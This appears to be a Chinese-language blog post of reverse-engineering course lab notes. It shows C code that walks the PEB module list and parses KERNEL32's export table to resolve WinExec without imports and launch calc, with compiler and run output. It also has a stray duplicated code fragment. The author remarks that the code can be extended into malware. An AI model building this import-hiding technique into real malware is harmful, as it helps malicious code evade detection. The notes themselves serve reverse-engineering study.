typedef struct _UNICODE_STRING32 {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING32, *PUNICODE_STRING32;

typedef struct _PEB32
{
    UCHAR InheritedAddressSpace;
    UCHAR ReadImageFileExecOptions;
    UCHAR BeingDebugged;
    UCHAR BitField;
    ULONG Mutant;
    ULONG ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    ULONG ProcessParameters;
    ULONG SubSystemData;
    ULONG ProcessHeap;
    ULONG FastPebLock;
    ULONG AtlThunkSListPtr;
    ULONG IFEOKey;
    ULONG CrossProcessFlags;
    ULONG UserSharedInfoPtr;
    ULONG SystemReserved;
    ULONG AtlThunkSListPtr32;
    ULONG ApiSetMap;
} PEB32, *PPEB32;

typedef struct _PEB_LDR_DATA32
{
    ULONG Length;
    BOOLEAN Initialized;
    ULONG SsHandle;
    LIST_ENTRY32 InLoadOrderModuleList;
    LIST_ENTRY32 InMemoryOrderModuleList;
    LIST_ENTRY32 InInitializationOrderModuleList;
    ULONG EntryInProgress;
} PEB_LDR_DATA32, *PPEB_LDR_DATA32;

typedef struct _LDR_DATA_TABLE_ENTRY32
{
    LIST_ENTRY32 InLoadOrderLinks;
    LIST_ENTRY32 InMemoryOrderModuleList;
    LIST_ENTRY32 InInitializationOrderModuleList;
    ULONG DllBase;
    ULONG EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING32 FullDllName;
    UNICODE_STRING32 BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    union
    {
        LIST_ENTRY32 HashLinks;
        ULONG SectionPointer;
    };
    ULONG CheckSum;
    union
    {
        ULONG TimeDateStamp;
        ULONG LoadedImports;
    };
    ULONG EntryPointActivationContext;
    ULONG PatchInformation;
} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;

ULONG GetModHandle(wchar_t *libName) {
    PEB32 *pPEB = (PEB32 *)__readfsdword(0x30);
    PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
    PLIST_ENTRY curr = header->Flink;

    for (; curr != header; curr = curr->Flink) {

        LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(
            curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderModuleList
        );
        printf("current node: %ls\n", data->BaseDllName.Buffer);
        if (wcsstr(libName, data->BaseDllName.Buffer))
            return data->DllBase;
    }
}

int main(int argc, char** argv, char* envp) {

    auto hMod_Kernel32 = GetModHandle(L"KERNEL32.DLL");
    printf("dll base: %x\n", hMod_Kernel32);

    ((UINT(WINAPI*)(PCHAR, UINT))GetProcAddress(hMod_Kernel32, "WinExec"))("calc", 1);

    return 0;
}

用cmder編譯並執行:

C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ gcc -m32 Lab#1_fetchModule_byTEB.c
Lab#1_fetchModule_byTEB.c: In function 'main':
Lab#1_fetchModule_byTEB.c:105:7: warning: type defaults to 'int' in declaration of 'hMod_Kernel32' [-Wimplicit-int]
  105 |  auto hMod_Kernel32 = GetModHandle(L"KERNEL32.DLL");
      |       ^~~~~~~~~~~~~
Lab#1_fetchModule_byTEB.c:108:46: warning: passing argument 1 of 'GetProcAddress' makes pointer from integer without a cast [-Wint-conversion]
  108 |  ((UINT(WINAPI*)(PCHAR, UINT))GetProcAddress(hMod_Kernel32, "WinExec"))("calc", 1);
      |                                              ^~~~~~~~~~~~~
      |                                              |
      |                                              int
In file included from C:/TDM-GCC-64/x86_64-w64-mingw32/include/winbase.h:24,
                 from C:/TDM-GCC-64/x86_64-w64-mingw32/include/windows.h:70,
                 from Lab#1_fetchModule_byTEB.c:8:
C:/TDM-GCC-64/x86_64-w64-mingw32/include/libloaderapi.h:151:53: note: expected 'HMODULE' {aka 'struct HINSTANCE__ *'} but argument is of type 'int'
  151 |   WINBASEAPI FARPROC WINAPI GetProcAddress (HMODULE hModule, LPCSTR lpProcName);
      |                                             ~~~~~~~~^~~~~~~

C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ ls -l
total 280
-rwxr-xr-x 1 exploit 197121 258730 四月   29 14:29 a.exe*
drwxr-xr-x 1 exploit 197121      0 四月   29 12:25 hollowing/
drwxr-xr-x 1 exploit 197121      0 四月   29 13:37 invokeInMem/
-rw-r--r-- 1 exploit 197121   2690 十月   17  2022 Lab#1_fetchModule_byTEB.c
-rw-r--r-- 1 exploit 197121   3589 十月   17  2022 Lab#2_parseDynamicAPIs.c
-rwxr-xr-x 1 exploit 197121   5686 十月   17  2022 msgbox.exe*

C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ a.exe
current node: a.exe
current node: ntdll.dll
current node: KERNEL32.DLL
dll base: 75c30000

PEB double linked list展示實例(invoke.cpp),此程式可衍伸用來寫惡意程式

#include <iostream>
#include <Windows.h>
#pragma warning(disable: 4996)

typedef struct _PEB_LDR_DATA
{
    ULONG Length;
    UCHAR Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _PEB32
{
    UCHAR InheritedAddressSpace;
    UCHAR ReadImageFileExecOptions;
    UCHAR BeingDebugged;
    UCHAR BitField;
    ULONG Mutant;
    ULONG ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    ULONG ProcessParameters;
    ULONG SubSystemData;
    ULONG ProcessHeap;
    ULONG FastPebLock;
    ULONG AtlThunkSListPtr;
    ULONG IFEOKey;
    ULONG CrossProcessFlags;
    ULONG UserSharedInfoPtr;
    ULONG SystemReserved;
    ULONG AtlThunkSListPtr32;
    ULONG ApiSetMap;
} PEB32, *PPEB32;
typedef struct _PEB64
{
    UCHAR InheritedAddressSpace;
    UCHAR ReadImageFileExecOptions;
    UCHAR BeingDebugged;
    UCHAR BitField;
    ULONG64 Mutant;
    ULONG64 ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    ULONG64 ProcessParameters;
    ULONG64 SubSystemData;
    ULONG64 ProcessHeap;
    ULONG64 FastPebLock;
    ULONG64 AtlThunkSListPtr;
    ULONG64 IFEOKey;
    ULONG64 CrossProcessFlags;
    ULONG64 UserSharedInfoPtr;
    ULONG SystemReserved;
    ULONG AtlThunkSListPtr32;
    ULONG64 ApiSetMap;
} PEB64, * PPEB64;

typedef struct _PEB_LDR_DATA32
{
    ULONG Length;
    BOOLEAN Initialized;
    ULONG SsHandle;
    LIST_ENTRY32 InLoadOrderModuleList;
    LIST_ENTRY32 InMemoryOrderModuleList;
    LIST_ENTRY32 InInitializationOrderModuleList;
    ULONG EntryInProgress;
} PEB_LDR_DATA32, *PPEB_LDR_DATA32;

typedef struct _LDR_DATA_TABLE_ENTRY32
{
    LIST_ENTRY32 InLoadOrderLinks;
    LIST_ENTRY32 InMemoryOrderModuleList;
    LIST_ENTRY32 InInitializationOrderModuleList;
    ULONG DllBase;
    ULONG EntryPoint;
    ULONG SizeOfImage;

    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    union
    {
        LIST_ENTRY32 HashLinks;
        ULONG SectionPointer;
    };
    ULONG CheckSum;
    union
    {
        ULONG TimeDateStamp;
        ULONG LoadedImports;
    };
    ULONG EntryPointActivationContext;
    ULONG PatchInformation;
} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
typedef struct _LDR_DATA_TABLE_ENTRY64
{
    LIST_ENTRY64 InLoadOrderLinks;
    LIST_ENTRY64 InMemoryOrderModuleList;
    LIST_ENTRY64 InInitializationOrderModuleList;
    ULONG64 DllBase;
    ULONG64 EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    union
    {
        LIST_ENTRY64 HashLinks;
        ULONG64 SectionPointer;
    };
    ULONG CheckSum;
    union
    {
        ULONG TimeDateStamp;
        ULONG64 LoadedImports;
    };
    ULONG64 EntryPointActivationContext;
    ULONG64 PatchInformation;
} LDR_DATA_TABLE_ENTRY64, * PLDR_DATA_TABLE_ENTRY64;
size_t getWinAPI(size_t module, const char* in_funcName)
{
#if defined _WIN64
    PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
#else
    PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
#endif

    PIMAGE_DATA_DIRECTORY impDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    PIMAGE_EXPORT_DIRECTORY ied = (PIMAGE_EXPORT_DIRECTORY)(module + impDir->VirtualAddress);
    if (!ied->AddressOfNames) return 0;

    DWORD* vaNameArr = (DWORD *)(module + ied->AddressOfNames);
    WORD* vaOrdArr = (WORD *)(module + ied->AddressOfNameOrdinals);
    DWORD* vaFuncArr = (DWORD *)(module + ied->AddressOfFunctions);

    for (DWORD i = 0; i < ied->NumberOfNames; i++)
        if (0 == strcmpi(in_funcName, (char *)(module + vaNameArr[i])))
            return module + vaFuncArr[vaOrdArr[i]];

    return (size_t)0;
}

size_t blindFetchWinAPI(const char* funcName) {
#ifdef _WIN64
    PPEB64 pPEB = (PPEB64)__readgsqword(0x60);
    PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
    PLIST_ENTRY curr = header->Flink;
    for (; curr != header; curr = curr->Flink) {
        LDR_DATA_TABLE_ENTRY64 *data = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY64, InMemoryOrderModuleList);
        size_t pFunc = getWinAPI(data->DllBase, funcName);
        if (pFunc) return pFunc;
    }
#else
    PPEB32 pPEB = (PPEB32)__readfsdword(0x30);
    PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
    PLIST_ENTRY curr = header->Flink;
    for (; curr != header; curr = curr->Flink) {
        LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderModuleList);
        size_t pFunc = getWinAPI(data->DllBase, funcName);
        if (pFunc) return pFunc;
    }
#endif
    return (size_t)0;
}

int main() {
    printf("%p\n", blindFetchWinAPI("WinExec"));
    return 0;
}

aaa

#else
    PPEB32 pPEB = (PPEB32)__readfsdword(0x30);
    PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
    PLIST_ENTRY curr = header->Flink;
    for (; curr != header; curr = curr->Flink) {
        LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderModuleList);
        size_t pFunc = getWinAPI(data->DllBase, funcName);
        if (pFunc) return pFunc;
    }

aaa

Lab#2_parseDynamicAPIs.c對應12頁下面:

C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ gcc -m32 Lab#2_parseDynamicAPIs.c -o b.exe

C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ b.exe
current node: b.exe @ 002c0000
current node: ntdll.dll @ 77b30000
current node: KERNEL32.DLL @ 75c30000
addrOfNames: 75cc4674
addrOfNamesOrd: 75cc5f90
AddressOfFunctions: 75cc2d58
found API: AcquireSRWLockExclusive
found API: AcquireSRWLockShared
found API: ActivateActCtx
found API: ActivateActCtxWorker
...
found API: LoadEnclaveData                     
found API: LoadLibraryA                       
LoadLibraryA() should at 75c50bd0

ida用下圖直接load exe檔案:
C:\Users\exploit\Desktop\18HR-ReversingNinja\IDA Basic\BabyFirst.exe

逆向相關文章、資源

https://blog.csdn.net/qq_64973687/category_12241443.html










Related Posts

MTR04_0731

MTR04_0731

[演算法] Bubble Sort 泡沫排序法

[演算法] Bubble Sort 泡沫排序法

滲透測試重新打底(3.6)--論Web入侵之SSRF攻擊

滲透測試重新打底(3.6)--論Web入侵之SSRF攻擊


Comments